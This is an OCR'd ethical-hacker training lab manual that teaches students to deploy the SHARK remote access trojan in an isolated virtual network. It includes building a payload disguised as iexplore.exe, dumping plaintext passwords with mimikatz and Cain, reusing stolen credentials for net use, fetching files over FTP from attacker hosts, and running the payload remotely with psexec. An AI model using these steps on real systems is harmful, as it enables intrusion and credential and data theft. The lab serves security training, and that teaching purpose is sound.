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Lab 5: Using the SHARK Remote Administration Tool
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Lab 5: Using the SHARK Remote Administration Tool

Introduction

This lab is part of a series of lab exercises intended to support courseware for Ethical
Hacker training. The development of this document is funded by the Department of
Labor (DOL) Trade Adjustment Assistance Community College and Career Training
(TAACCCT) Grant No. TC-22525-11-60-A-48.

In this lab, students will use the Shark Remote Administration Tool.
This lab includes the following tasks:

e 1-Setting up the SHARK Remote Administration Tool Client (Server)
e 2 —leveraging the Insider Threat to Deploy a Malicious Payload
e 3 — Exploiting the Victim Machine with the SHARK Remote Administration Tool

Domains: System Hacking, Trojans and Backdoors, Viruses and Worms

Hackers often utilize user-friendly malware programs like the SHARK Remote
Administration Tool that will allow them to perform a variety of exploitation, including:

e Uploading Malware

e Running Programs

e Dumping Hashes

e Uninstalling Software

e Disabling Services

e Killing Processes

e Stealing Data

o Keylogging

e Utilize a Command Shell

The SHARK Remote Administration Tool is an extremely dangerous piece of malware
that will allow attackers to maintain a persistent connection on a victim’s machine
through an encrypted connection. Even though SHARK was designed as a Remote
Administration Tool, it is often utilized in a malicious manner or used as a command and
control tool.

Remote Access Trojan — A program that will allow a remote user, likely an attacker, to
connect to a victim’s machine and perform harmful actions to the computer’s operating
system. A Remote Access Trojan, or RAT, may allow the attacker tasks such as
uploading or downloading files and stealing a user’s credentials.

SHARK Remote Administration Tool — Remote Access Trojan that has been used

frequently in many high profile intrusions cases. The tool has a Graphical User Interface,
or GUI, that allows the hacker to perform malicious tasks against a victim machine over
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Lab 5: Using the SHARK Remote Administration Tool

an encrypted connection. The SHARK Remote Administration Tool includes two
components, the server and the client.

SHARK Remote Administration Tool Client — Although it may seem counterintuitive, the
SHARK Remote Administration Tool client is configured on the machine that will act as
the server and accept client connections. Any port may be used for the “client”, but a
common port like 80 (Hyper Text Transfer Protocol) or 443 (Hyper Text Transfer
Protocol Secure) or 443 will make the connection from the victim to the attacker seem a
bit less conspicuous than a port like 12345.

SHARK Remote Administration Tool Server — A server executable or payload is created
and then distrusted to one or more victims. Once the victim executes the payload, the
malware will infect their machine and they will connect to the computer running the
SHARK Remote Administration Tool software.

mimikatz — This tool will dump the stored logon hashes and provide the corresponding
password that matched the hash in plain text. The tool, which is written in French, is
available from the following link: http://blog.gentilkiwi.com/mimikatz
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Figure 1: Lab Topology
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Lab 5: Using the SHARK Remote Administration Tool

Lab Settings

The information in the table below will be needed in order to complete the lab. The
task sections below provide details on the use of this information.

Required Virtual Machines and Applications

This lab requires the use of the machine running Windows XP and Windows 7.

Windows XP Pro 192.168.1.175
Windows XP Pro hacker password toor

Windows 7 216.5.1.200 (Public IP)
Windows 7 student password password

External BackTrack 5 216.6.1.100
BackTrack 5 root password toor
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Lab 5: Using the SHARK Remote Administration Tool

1 Setting up the SHARK Remote Administration Tool Client (Server)

Although it may seem counterintuitive, the SHARK Remote Administration Tool client is
configured on the machine that will act as the server and accept client connections. In
this case, our Windows 7 machine will be the machine running the SHARK Remote
Administration Tool Software. We will configure the external Windows 7 machine with
a Public IP address to run the SHARK Remote Administration Tool software and accept
incoming connections from victim machines that execute the malicious payloads.

1.1 Configuring the SHARK Remote Administration Tool

1. Logon to the Windows 7 machine as student with the password of password.

student

-passwordle| <

Figure 2: Logging on to Windows 7

2. Open the Malware folder on the Windows 7 desktop. Right-click on the
sharK_3.rar file, select 7-zip and select the fourth choice down Extract to
“sharK_3.rar\”.

. * Malware - |4-_p | | Legrch Malwars
Wiewe  Tools Help
r L | Open Share with « Burn MNew folder
Les Marme Drate rmodified Type
top | DarkCormet. Tz 272352013 10:39 PR TZ File
nloads L P23 2kar 12/19/2012 9:48 AkA RAF File
nt Places | shark_Z.rar 3/9/2012 107 PrA RAF File
L | Wrapper.¥: Open |012 G:19 Akd FZFile
es T-Lip » Open archive
urments 1
Share with > Extract files...
< . . Extract Here
Restore prewious wersions
fires I Extract to "shark_3Y" I

Figure 3: Extracting the file with 7-zip
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Lab 5: Using the SHARK Remote Administration Tool

3. Traverse thorough the sharK_3 folders until you see sharK.exe. Double click on
the sharK.exe file to launch the program.

» hdabware

S~

File  Edit ‘iew Toals

Organize -

- Faworites
B Cesktop
4. Downloads

=il Recent Places

= Libraries
;:l Documents
.Jv- FAusic
k=| Pictures

4 videos

M Carmputer
&%, Local Disk (Ca

Ei_-l MNetwark

Include in library -

v shark_3 » shark_3 »

Help

Marme

| Cache
J Plugins
| Stubs
% cdkeys.db
% comdlg3diocx
%) history.db
% miscomctlocx

& miswinsck.ocx

) shdocwaedll
| startups.db

B ypxexe

| zlib.dll

Share with -

-~

Figure 4: The sharK executable

4. Read over the warning messages. Click Yes to the terms of the agreement.

shark 30,0 fneb + +

!.\'

ot Fisk,

MO

Figure 5: Click Yes to the Warning Message

shark 3 is rmade for simple rermote administration anly,

£3

In no eventwill the author be held liable or responsible for any illegal
actions or darnages arising from the use of shark 3, Use sharkl 3 atyour

If wou do anything illegal with this program wou are the only one
responsible for it Wow are not allowwed to rermote-administrate machines
without the perrmission of its owner!!

Click "ES" if wou accept all terms, Otherwise, close and delete shark 3

Mo

After you click next, sharK will generate a random traffic encryption password.
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Lab 5: Using the SHARK Remote Administration Tool

5. Click the set button to set the traffic encryption password for sharK.

ﬁ: Traffic Encryption Passward

=

wWelcorne to your first start of The sharkl Rermote Admin Tool, Mow it's time
to set a new password for encrypt the connection between you and your
servers, Sharkl has already created a nesw random password but feel free to
change it, Chose a password noone else knows about to prevent security

risks.

You can always change your password again in the client preferences,

Encryption Password:  [RzJa”ge4 =DkPY@wilgui

Figure 6: Traffic Encryption Password

Set

The SharK Client (Server) program opens. There is one top pane and two bottom panes.

=)

B shark 3,00 fuvh + +
sharkl  Desktop Preview IRC-Chat ‘Website
i} | P | Country Username PC Name | 05 ‘ CPU RAM 1dis ‘ersion | Fing ‘

10:00:57 AM)] Initializing Client...

10:00:57 AM)] Liskening in Port: 60123

10:00:57 AM] shark 3.0.0 fub++, Last Compiled: 17.01.2008
10:00:57 AM] Updatecheck. ..

10:00:57 AM] Update-Check Failed!1!

shark 3.0.0 fwb++

Welcomne to zhark 3.0.0, student
Thiz is an information box refreshing its content every 24 hours, Here you will
get information about new shark develaprnent states and other releases of

BoredCoders. corn sometimes,

King Regards,
sMiperlod and rockz

Copyright 2007-200% (<) BaredCoders.com

Port: 60123 Server: 0

Figure 7: SharK Program

6. From the sharK menu bar, click Preferences to change the IP address and port.

Biag shark 3.0.0 fuvb + +

Desktop Preview IRC-

Ahout

Preferences

Figure 8: Listen to New Port
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Lab 5: Using the SHARK Remote Administration Tool

7. In the setup sub-menu of sharK, click Port Setup. Type 443 for the port. Save.

m Setu p- - @

------ 3 Basic Settings
:- Pork -SEtLI _ Park: |443|
el Quality Settings
: kevlogger Request Timeout {ms): |1l]l]l]l]
f_‘;‘l Connection Highlight ]
i File TransFer Encryption Password:  |p 233" ged >DkPY@WFIgui
L SIM Console
Generate Rand Pass
Encryption Cipher: [

= [N

Figure 9: Listen to New Port

Any port may be used for the “client”, but a common port like 80 (Hyper Text Transfer
Protocol) or 443 (Hyper Text Transfer Protocol Secure) or 443 will make the connection
from the victim to the attacker seem a bit less conspicuous than a port like 12345.

8. Open a command prompt by clicking the shortcut to the Command Prompt.

CiN :)
) N

Recycle Bin cmd - Microsoft
Shortcut Office Outl...

Figure 10: Shortcut to Command Prompt

The netstat command can be used to determine which ports the machine is listening on.

9. To verify that the attack machine is listening on port 443, type the following:
C:\>netstat -an | find “443”

| find "443"

0.0.0.0:443 LISTENING

Figure 11: SharK is listening on Port 443
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Lab 5: Using the SHARK Remote Administration Tool

10. To create a new server (client), click on sharK and select Create Server.

kg sharkl 3.0.0 furb + +

Desktop Preview IRC-

Ahout

Preferences

Figure 12: Creating a “Server”

11. For the IP/DNS Address, type 216.5.1.200. For the port, type 443.

E MNey Server @
-4 Basic Setkings
-Jf Server Installation Servername: |shark 3
""" 2. Start Up Default Install Dir:
- . ADS (Windir-5t NTFS Onl
----- j Install Events | (Windir-Stream, nir) ﬂ
- % Bind Files Server Password: |H2..Ia‘qe4>DkPV@W’ngui
----- £ Elacklist
Anti Debugging Connection Inkerwal: _\)I
----- Skealth
----- i Firawall Bypass 4 seconds
ity Advanced [~ Enable offline keylogger with maxirmum logsize of [ goo KByte (0 = Lnlimited)
0 SUMMEy
----- ., Compile
SIN-Addresses:
Tesk Hosts
Load Settings l [ Save Settings

Figure 13: Adding the Port and IP address

12. In the New SIN box, type 216.5.1.200 for the IP address and click OK.

Mew SN ==
Pleaze enter the IP 2 DNS of the host pou want ba add
Cancel
216.5.1.200

Figure 14: Entering the IP address
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Lab 5: Using the SHARK Remote Administration Tool

13. In the New SIN box, leave 443 as the Port number and click OK.

Mew S (23]

Pleaze enter pour SIMN Part
Cancel

Figure 15: Entering the Port

14. In the New Server section, scroll to Anti-Debugging. Uncheck all of the boxes.

E Mewr Server @‘

-4y Basic Settings

{7 Server Installation Terminate server, if it is being started on...

B2 start Up

™ tnstall Events B T
-4 Bind Files ae

% Blacklist [ Morman Sandbox

= Anti Debugging

[~ Debugged made

- ig Stealth
-+ 4% Firewall Bypass ™ Sandboxie
40 Advanced .
G Summary [ wirtual PC
., Comnpile [T Symantec Altiris SWS

Figure 16: Anti-Debugging Setting

The anti-debugging feature will allow the payload to detect if a virtual environment is
present. If one is present, the malware will not run, which will prevent investigators
from being able to perform a thorough malware or network forensics analysis of the
payload.

15. In the New Server section, choose compile. Change the Save As name to
iexplore.

B ser =

San Basie Sattings
[l Server Tt allstion 3‘“‘”"" liewplore I [.exe B

2 atip I~ Pack Server vith UPY (Decreases Server Size)
] Instad Everts [ gonede
¢ Bind Flas A Close Bulder after compiing

£ Blackit

{&-| Arti Debuggng
[

4@ Frowal Eypass
g Advarced

Task [ status

Figure 17: Generating the Payload
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Lab 5: Using the SHARK Remote Administration Tool

16. Click Compile to create the payload. SharK should indicate Successfully
Compiled!

E Mewe Server @

- Basic Settings

|y Server Installation Save Asi  iexplore -exe hd
-5 Start Up [ Pack Server with UPX (Decreases Server Size)
j Install Events =ompile
..... “* Bind Files Iv¥ Close Builder after compiling
4% Blacklist
Anti Debugging T.BSK | Selas
Steslth ‘_j Checking wour settings. .. [ald]
P Firewal Bypass @Conﬁgurating Header... [ald]
advanced ‘_j Preparing Compiler. .. [ald]
Surnmary @) rreparing Stub. .. k!
..... - Compile @9 Loading Stub, . oK
' @D checking Far Win32-File. . oK
@D canverting Header. .. k!
@Writing Header to Stub (675 Bvte). .. [ald]
@Writing Poinker (1440000, .. [ald]
[‘jSuccessFully Carmpiled! | @

Figure 18: Successfully Complied

17. A message box will appear saying “iexplore.exe” has successfully been built. Click
OK.

shark 2.0.0 fusb + + ==

"iexplore.exe" has successfully been built,

Size: 324,66 KB
Header: 675 Byte
Pointer to Data: 144000

Figure 19: File Created

18. You will see the iexplore.exe file in the sharK folder. Right-click and Copy.

rl o v PMdalware » shark_3 » shark_3 » -

Wiews  Tools Help

- = Open Share with Burn MNew folder

Marme Crate rmodifi
rites
sktop B3 iexplore.exe SArIn1
wnloads %] histordb Open
cent Places B shark.exe H¢  Run as administrator

“ cdkeys.db Troubleshoot compatibility
ries startups.db 7-Zip 4
cuments llonsuinsckioe Share writh [
e L) elnzlocusell Pin to Taskbar
tures Z| zlib.dll

FPin to Start Menu

Heas 25 L exe . .
Restore previous versians
% comdlg32og
puter %] rmscomctl.og Send to e
cal Disk (C1) #| richt=32,00x Cut

. Stubs ITWI¢I
Figure 20: Copy the File
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19. Click on Start > Computer > Local Disk C: > Inetpub > Ftproot

T% ripping Tool

@ hozilla Firefox b
,;":f Paint

« BS Viwer Default Prograrms

ix: Wicrosoft Office Excel Viewer

b AllPrograms

Contral Panel

‘ |Search programs and fiies

Figure 21: Computer Link

20. Right-click and Paste the file. The iexplore.exe file should be in the directory.

f 0 v Computer v Local Disk (C » inetpub » ftproot

Wiew Toaols  Help

- Include in library - Share with = Burn Mew fo
rites i
sktop [ byt
aenloads hi et
. e 3
ries
Sort by 2
cumments
: G b 3
151 rOMp By
Refresh
tures
B0s
niitar

Figure 22: Pasting the File
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1.2 Conclusion

SharK is malware that has a server and a client component. The attacker first sets up
the client, which will listen on a port and wait for connections. Attackers on the Internet
cannot directly attack internal machines on an internal network. Rather, they need
them to get users on an internal network with private IP addresses to launch a program
so they will be able to connect to an external IP address on the Internet. When the
payload was complied, we turned off the anti-debugging feature so it would run in
VMware.

1.3 Discussion Questions

What are the two components of the SharK program?

What is the command to determine if your machine is listening on port 443?
What does the anti-debugging feature of the sharK program do?

What options does the attacker need to configure before compiling the payload?

PwnNE
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2 Leveraging the Insider Threat to Deploy a Malicious Payload

In this exercise, we will use an insider on the internal network to leverage or attack.
There are two types of insider threats:

e Informed insiders (also known as recruited or placed agents)
e Uninformed insiders (those who click links they should not, etc.)
2.1 Leverage an Attack as an Informed Insider

In this case, we will act as an informed insider. One of the main concepts that is
stressed here is how individuals sharing a computer at work can be a huge security risk.

1. Openthe Windows XP Pro machine. Log on as Administrator with the password
of Ethicalhackin&.

Figure 23: Logging in as Administrator

2. Click on the Start Button and select Log Off. Note: DO NOT LOG OFF!

E’ ain I‘) Search

ERUH...

All Programs D

ﬁ| Log OFF |E| Turn OFf Computer

.r;.'-' start e Caommand Prampt

Figure 24: Logging off as Administrator
3. Atthe Log Off Windows screen, select the box to Switch User, not to log off.

Log Off Windows

Switch Use|

=
1

Figure 25: Switching the User
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4. Loginto the XP system using the hacker account with the password of toor.

| hacker

Ty

Figure 26: Logging in as hacker

5. Click the shortcut to Cain on the Desktop

Figure 27: The shortcut to Cain

6. Click OK to the warning from Cain that the Windows Firewall is enabled.

Cain El

L ] E Windows firewall is enabled, Some Cain's features will nok work correctly.,
L

Figure 28: Cain Firewall Waning

7. The hacker wants the administrator’s password, so he/she will try to harvest it
from Cain. Click Protected Storage in the left pane, and then click the blue "+"
sign.

Flle Wiew Configure Tools Help
+ CHALL CHALL i .
S @ My = R

Decoders Metwork |E sniffer |@f cracker |8 Traceroute |EE ccou |“a” wireless Cuery
i}

g, Cached Passwords Resource | Username | Password | Type
ﬁ Protected Storage ﬁldentitiesPass Outlook Express Identity

Figure 29: Password NOT Displayed

The hacker knows that the administrator uses this computer for email, but his email
username and password is not the showing up in Cain. This is because Cain only pulls
the information from Protected Storage for the account you are currently logged in as.
In order to get the Administrator’s username and password for email, the hacker will
need to log in as the Administrator and run Cain. The company has an Exchange 2003
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server. Exchange is tied to Active Directory, so the username and password will be the
same.

The mimikatz tool can dump the passwords of other users that have logged on.

8. Open the shortcut to the command prompt on the Windows XP desktop.

"Co;hm‘and’
Prompt

Figure 30: The Shortcut to the Command Prompt

9. Double-click on the Win32 folder on the desktop of the hacker account. Drag
the mimikatz file from the Win32 folder into the command prompt Window.
C:\>"C:\Documents and Settings\hacker\Desktop\Win32\mimikatz.exe"

B W

Fie Edt View Favorites Took Help

) ? ) Search Folders -
& o Fa

iddress | ) C\Documents and Settingsihacker\Desktoplwing2

f kappfree.dl
File and Folder Tasks & »h‘ mp !Jg.g
. kappfree de minikatz pour Wi..,

] Rename this fie
_;'- Mowe this file “h“ Hock.dl
- | 1000
[ Cony this e W1 Ydack de mimikatz pour Windows

Figure 31: Dragging the Mimikatz file into the Command Prompt Window
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10. Double-click on the pass.txt file in the Win32 folder. Copy the first line
(privilege::debug) and paste it into the mimikatz terminal.
mimikatz # privilege::debug

SebebugPrivi lege

File Edit Format View Help

Jprivilege: :debug
sekurlsa::logonPasswords full |

Figure 32: Paste the first line

If successful, you will receive the following message back from the mimikatz prompt:
Demande d'ACTIVATION du privilege : SeDebugPrivilege : OK

11. Paste the second line from the pass.txt file into the mimikatz terminal.
mimikatz # sekurlsa::logonPasswords full

1t Fication
rilisate
Domadne

Ethicalhackin&

Administrator

IE‘:h‘i calhackin&

Figure 33: The Plain Text passwords for the administrator and hacker accounts are dumped
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12. Close Cain by clicking the red "X" in the right top corner of the program. Click
Yes.

File Wiews Configure  Tools  Help

LB HBEE +v R VHDEEa0®ER 0?7 i
g) Decoders I§ Mebwark, I@ Sniffer I@ef’ Cracker Iﬁ Traceroute IM ol I“ﬁ"] Wireless Ia) Query |
Cached Passwords

Resource | Lisername | Password | Type
Protected Storage ﬁldentitiesPass
LS54 Secrets

Cutlook Express Identity

ﬁ [E7 Passwords
€3] windows Mail Passwords

. Are yau sure you wank b exik ¢
gl Dialup Passwords & ! '
--J=== Edit Boxes

----- Enterprl_se Manager Ves Mo |
----- Credential Manager

Figure 34: Closing Cain

13. Log off as hacker by clicking on the Start button and selecting Log Off.
Then, click Log off a second time when an additional Log Off box appears.

D Cain }) Seatch

ERun...

Al Programs D

ﬁ‘ Log Off .(D | Turr OFf Computer

arnrand Prompt

Figure 35: Logging off as Hacker

14. Log on as Administrator with the password of Ethicalhackin&.

Administrator

our d

Figure 36: Logging in as Administrator
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15. Click on the Start Button and select My Computer from the menu bar.

16.

7/18/2013

,__ ‘j Administrator

(e' Internet _’_} My Documents
|_ Inkernet Explorer

; b My Recent Documents #
f vl E-mail

Cutlook Express

Windows Messenger

all

® Windows Media Playver

Set Program Access and
Defaults

Cl:lmmaru:l Frampt .Q'é Printers and Faxes

@ Tour Windows P @ Help and Suppart

Files and Settings Transfer p Search

Wizard
E Run...

&ll Programs D

@| Log OFf |E| Turn OFf Computer

‘s start el

Figure 37: Selecting My Computer

Navigate to Local Disk C: > Documents and Settings > hacker > Desktop. Open

Cain.

[C3) Cr\pocuments and Settingsihacker\Deskkop

and Folder Tasks &

Rename this File
Mave this File
Copy this file

Puiklizh Fhiz Fils b Fhe Wieh

Figure 38: Cain Shortcut
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Lab 5: Using the SHARK Remote Administration Tool

17. Click OK to the warning from Cain that the Windows Firewall is enabled.

! '1 ‘Windows Firewall is enabled. Some Cain's Features will nok work, correctly,
-

Figure 39: Cain Firewall Warning

18. The hacker wants the administrator’s password, so he/she will try to harvest it
from Cain. Click Protected Storage in the left pane, then click the blue "+" sign.

S @B ey = B, R %2 @7 Il
@) Decoders IQ Mebvaork, I@ Sniffer I@f Cracker I@ Traceroute IM U I“ﬁ"] \Wireless I% Query |

& Cached Passwords Resource | Username | Password | Type
Protected Storage % 192.168.1.100 rriller PACERS123 Outlack Express POP3 Account
L3 Secrets ¥ IdertitiesPass Outloak Express Identity

M \hivelecs Daccwnrde

Figure 40: Password and Username are Displayed

The information indicates the account name is rmiller and the password is PACERS123.

19. Open the shortcut to the command prompt on the Windows XP desktop.

“Command®
Prompt

I -

Figure 41: The Shortcut to the Command Prompt

20. Type the following command to try to connect to the 2003 SQL server:

Wi nde : P | VErs 1 O
985 =2001 Microsaoft

Figure 42: Net use Failed

If the administrator cannot view the shares on the 2003 server, which means the
administrator password is different for the XP and 2003 machines. This is a good
security practice, especially since 2003 server is a Domain Controller.
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21. Type the following to try to connect to the IPCS share on 2003 SQL.
C:\>net use \\192.168.1.100\ipc$ /u:rmiller PACERS123

Cihenet use 38192.168.1.100% pcd Auirmiller PACERS1Z3

The command completed successfully.

Figure 43: Net use Command

22. Type the following command to try to connect to the 2003 SQL server:
C:\>net view \\192.168.1.100

|
The command ¢

Figure 44: Net View Successful

It worked this time because we can the correct domain account credentials.
Next, we will need to retrieve our shark payload from the Windows 7 Attack machine.

23. On the Windows XP machine, type the following to start the ftp connection:
C:\Windows\system32>>ftp 216.5.1.200

Figure 45: FTP to the Windows 7 machine
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24. You should be at an ftp prompt asking for a username. Type the following:
User (216.5.1.200:(none)): ftp

When you are prompted for the password, just hit enter.

.f:
d,

owet :end identity (e-mail name) as password.

Figure 46: Specify the User Name

You should receive a message, 230 Login successful.

25. To switch to binary mode during the FTP session, type the following:
ftp> bin

Figure 47: Switching to Binary Mode

You should receive a message, 200 Switching to Binary mode.

26. To download the iexplore.exe file from the FTP server, type the following:
ftp> get iexplore.exe

Figure 48: Transfer of the iexplore.exe file is complete

You should receive a message, 226 Transfer Complete.
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27.To leave the FTP session with the remote server, type the following:
ftp> bye

Figure 49: Exiting the FTP Session

28. To copy the file to the Windows 2003 server, type the following command.
C:\>copy iexplore.exe \\192.168.1.100\c$

Figure 50: Using the PsExec command

You should see a message that 1 file was copied. Now, we need a way to execute the
file. We can do this by downloading psexec from the external BackTrack 5 machine.
Typically, outsiders (on the public Internet) may work with insiders (on the private,
internal network) to get them the resources they need to exploit internal systems.

29. Open the external Attack Machine, BackTrack 5, running BackTrack Linux
(version 5 R3), type root for the login and toor (root spelled backwards) for the
password.

bt login: root

Password:

Last login: Thu Jan 24 11:19:02 EST 2013 on ttyl

Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU-Linux

System information as of Fri Feb 22 09:04:41 EST 2013

System load: 0.12 Memory usage: 42  Processes: 69
Usage of ~: 57.9% of 19.06GB Swap usage: 02 Users logged in: O

Graph this data and manage this system at https:--landscape.canonical.com~
root@bt:"# _

Figure 51: Logging in as root

30. Type the following command to start the Graphical User Interface (GUI).
root@bt:~# startx

rootfbt:"# startx_

Figure 52: The startx command
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31. Open a terminal on the Linux system by clicking on the picture to the right of the
word System in the task bar in the top of the screen in BackTrack version 5 R3.

Applications Places System [5_]

X root@bt: ~
File Edit View Terminal Help

Figure 53: The Linux Terminal

32. Type the following command to copy psexec.exe to the FTP directory:
root@bt:~# cp /pentest/windows-binaries/pstools/psexec.exe /home/hax0r

:~# cp /pentest/windows-binaries/pstools/psexec.exe /home/hax0r/

Figure 54: Copying psexec.exe

33. Type the following to verify psexec.exe has been copied to the FTP directory:
root@bt:~#1s /home/haxOr

:~# 1s /home/hax0r/

by.txt hi.txt |psexec.exe | wget.exe

Figure 55: Copying psexec.exe

Next, we will download psexec.exe from the external BackTrack machine.

34. On the Windows XP Pro machine, type the following to start the ftp connection:
C:\Windows\system32>>ftp 216.6.1.100

Figure 56: FTP to the BackTrack Linux machine
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35. You should be at an ftp prompt asking for a username. Type the following:
User (216.5.1.200:(none)): haxOr
When you are prompted for the password, type hacker.

Login successTul.

Figure 57: Specify the User Name

36. To switch to binary mode during the FTP session, type the following:
ftp> bin

230 User logge
Ftp= bin

200 Type

Figure 58: Switching to Binary Mode

37. To download the iexplore.exe file from the FTP server, type the following:
ftp> get psexec.exe

Figure 59: Transfer of the psexec.exe file is complete

38. To leave the FTP session with the remote server, type the following:
ftp> bye

Figure 60: Exiting the FTP Session
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39. Execute the malicious payload on the remote system by typing the following:
C:\>psexec.exe \\192.168.1.100 c:\iexplore.exe

rght (C)

fl t 2114 -| 11T

Figure 61: Error Code O (It worked)

The connection from the firewall, running Windows 2003 server, to the Windows 7
attack machine should appear.

If SharK crashes for any reason, just re-launch it and the connection will appear.

il shark 3.0.0 fub ++
sharkl  Desktop Preview IRC-Chat  Wehsite

0] | IF | Counkry Username PC Mame 03 C
|

Figure 62: SharK Client Connection

Notice that the SHARK Remote Administration Tool has the IP address of the firewall.
This is the public IP address that the Windows XP machine connects to the Internet
through. Also, notice that the internal IP address is listed under the IP address column.
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Windows
2003 SOL

Windows
2008 Server

BackTrack

NETWORK

.1

Ethical

192.168.1.0/24

s, | Windows = I
\...... 2003 Server kil

Hackin Firewal —
g 21641,1.[1 ll =&
. |
|
EXTERMAL NETWORK 216.0.0.0/8

216.6.1.100

BackTrack
5

216.5.1.200

Figure 63: The WAN/LAN connections

2.2 Conclusion

A malicious SHARK Remote Administration Tool payload is coded with the IP address
and listening port of the attacking machine. The attacker used stolen credentials to map
the Inter process share of the victim. The internal attacker then used psexec to execute
the malicious payload on the remote system. This was done with another user’s
credentials, which might draw attention to that individual if network traffic is examined.

2.3 Discussion Questions

1. What s the procedure to harvest a stored email password using Cain?
2. How does Network Address Translation (NAT), affect the SHARK Remote

Administration Tool?

w

What does the bin command do when you are in an FTP session?

4. What is the psexec tool used for?

7/18/2013
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3

Exploiting the Victim Machine

In this section, you will be using SharK to exploit the victim. Only some of SharK's
capabilities will be covered in this lesson, so it is recommended that you consider
performing additional experimentation with the software within the isolated
environment.

Never use the SHARK Remote Administration tool outside of the isolated virtual

environment.

3.1

7/18/2013

1.

2.

Exploitation Using the SHARK Remote Administration Tool

On Windows 7, double-click on the connection. A window will open.

=N EoR

Bad shark 2 (@ SERWER) [216.1.1.1] - shark 2.0.0 fuvb ++

Server Information  Administration  Systern  Surveillance  Tools  Flugins

| connect red

|cPu Load: 192 | Memary Load: 479 (478,69 MB [ 1023,23 MB) Idle: 03:47:45 Ping: ms P

Figure 64: The connection to the Victim

Click on Information; go down to System Info to view details about the victim.

Bed shark 3 { @ SERWER) [216.1.1.1] - shark 3.0.0 furb + +

Server | Information | Adrministration
Systerm Info I
Installed Apps

Spstern Sureeillance  Tools Plugins

E Sy CD Keyws
EEme Autostart bManager
ﬁSP
Servernames sharkl 3 { @ SERVER)
Wersion shark 3.0.0
Installed W INDOWS  Remoke-Controller . bat

" Program FilesiInternet Explorer\IEXPLORE.EXE
Z16.5.1.200:4473

Running As
DS Addresses

8 system Info
o5
Zomputernamne
R.AM
ZPU

[#] systern Info... -

Zurrent HKZU Startup Shark:

Zurrent HELM Startup The shark Project
Mukes sharkBPLILOCOF

OFFline Kevlog Mo

Fandseed SxqgsOtu4zpcozhoock
Uptirne 05 hrs, 49 mins, 54 secs

WinServer 2003
SERVER

102353 MEB

235394 MHz

Figure 65: The connection to the Victim

Copyright © 2013 NISGTC

Page 30 of 35




Lab 5: Using the SHARK Remote Administration Tool

3. Click on Information and go down to Installed Apps. Notice the version

numbers displayed for each installed application.

L I

In L [RVI )

m shiark 3 (@ SERVER] [216.1.1.1] - shark 3.0.0 furbi+ +
Sewer'lnformation Administration  Systern  Surveillance  Tools  Plugins

[ol[@ e

System Info

Installed &pps

CO Keys
Butostart Manager

mlnstalled Applications

E

hame | Yersion | Distribukor | Urinstall String

_S-jlWinduws Installer 3.1 (KES9303) 1l Microsoft Corporation "CAWINDOWSLEMSIILL
_S?Microsoft S0L Server 2000 8.00.194  Microsoft CAWINDOWS\ [sUninst.&
_S?Mozilla Firefox 6,0,2 (86 en-L3) 6,02 Mozilla C:\Proqram FilesiMazila f
_S-"}Microsoft Wisual C++ 2008 Redistribukab... 9.0,3072...  Microsoft Corporation MsiExec.exe [M{1F1CZO0F
_gj}Windows Server 2003 Administration To... 523790 Microsoft Corporation MsiExec.exe [{SE076CF
_S-'j}'u'Mware Tools 8.8.0.7939  WMware, Inc. MsiExec.exe [¥{IRE7417
_S-'j‘Microsoft 0L Server Management Studi.,. 9.00.204..,  Microsoft Corparation MsiExer exe [1{A451273
_S-leicrusoft MET Framework 1.1 - Device ... 11,4322 Microsoft Corporation MsiExec.exe [HADCFDH
}-f}MSXML 6.0 Parser £.00.388... Microsoft Corporation MsiExec.exe [T{AEBII4E

Figure 66: Viewing Applications on the Victim Machine

You can right-click and uninstall an application. Hackers often uninstall anti-virus
software.

4. Select Administration, then File Manager to view the victim’s folder and files.

E shark 3 ( @ SERVER) [216.1.1.1] - shark 3.0.0 fuvb + +
Server  Information |Administration System Surveillance Tools  Pluging

Process Manager

Services hanager
File banager

[o/E]=s]

Registry Editor
EFHE e Windaw Manager E@
|=aa ) [Fixed], Free: 1,10GB /4,39 GB (22%) v | Hame Tupe Size [ attributes | Last Modfied |
o Taw | ::]AUTOEXEC.BAT BAT 0 Byte A 12/26/2012 3:56:20...
=) Company ¥y 2dacumets o Hboct. i INI 192Byte H/5,A 12/26/2012 1:25:26..,
[ZDocuments and Settings b (4] conFresis 33 DByte A 12f26/2012 3:56:20...
EII386 o E] Exchange Server Setup... LOG 2,00 MB & 12/27/20125:48:54...
S Tnetpub b El hitt ToT 5 Byte A 2{74(2013 2:07:02 PM
(=) Program Files RD %1055 543 0 Byte RHSE  12/26/2012 356:20..,
[SIRECYCLER H5,0 |4 ketmel33.dI OLL 9S,00KE & 212412003 3:04:16 PM
selary b |%]mspos,5vs 5v5 0 Byte RHSE  12/26/2012 356:20..,
535vstem Valume nformation H5D T WTETECT COM COM #,43K8  RHSA  3/25/2003 7:00:00 AM
CwINDOwsS H5,0 | ntide - 065K8  RHSA  3/25/2003 7:00:00 AM
[Sywmpub o %] pagefil sys 543 768,00 MB 2/24/2013 8:35:20 &M
| ] server KYZCOMPANY.C.., CRT LIGKE & 12/27/2012 5:21:15..,

Figure 67: Folders on the Remote Machine

The first folder, CompanyXYZdocuments seems interesting, so we will examine it.
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5. Double-click on the CompanyXYZdocuments folder to examine the folder

contents.

m File Manager

|~=a-.- C\ [Fied], Fres: 1,10 GB [ 4,99 6B (22%) | | Name Type Size | attributes | Last Modified |
jAUTOEXEC.BRT BAT 0 Eyte & 12[26/2012 3:56:20...
'{'bnut.ini INI 192 Byte H,5.4 12/26/2012 1:25:26...
@CONFIG.SVS a5 0 Byte # 12f26f2012 3:56:20...
El Exchange Server Setup... LOG 2,00 MB A 12/27/2012 5:48:54...
E byt TeT 5 Byte b 2(24/2013 2:07:02 PM
#1053 ] 0 Byte RHSA 1202612012 3:56:20..,
@ kernel33.dl DLL 965,00KE A Zl24[2013 30416 PM
@MSDOS.S’T’S a5 0 Byte FH,5A 12/26/2012 3:56:20...

E]System vollme Information HS,D jNTDETECT.COM oM 46,43 KB R H,5A 325/2003 7:00:00 AM

EWINDOWS HeD | ntid | - ZPOESKE RHSA  3/25/2003 7:00:00 AM

Cwmpub D @ pagefile. sys 55 768,00 MB 2/24/2013 8:35:20 AM
Userver.XYZCOMF‘ANY.C... CRT 1,16KE & 122712012 % 21:15...

Figure 68: CompanyXYZdocuments Folder

6. Right-click of the MSEC_Pod.pdf file and select Download from the menu list.

Bl shark 3 { @ SERVER) [216.1.1.1] - shark 3.0.0 fuvb++ [= = [=]
Server  Information  Adrministration  Swstern Surveillance  Tools  Plugins
ul File Manager [F=5(ECR (==
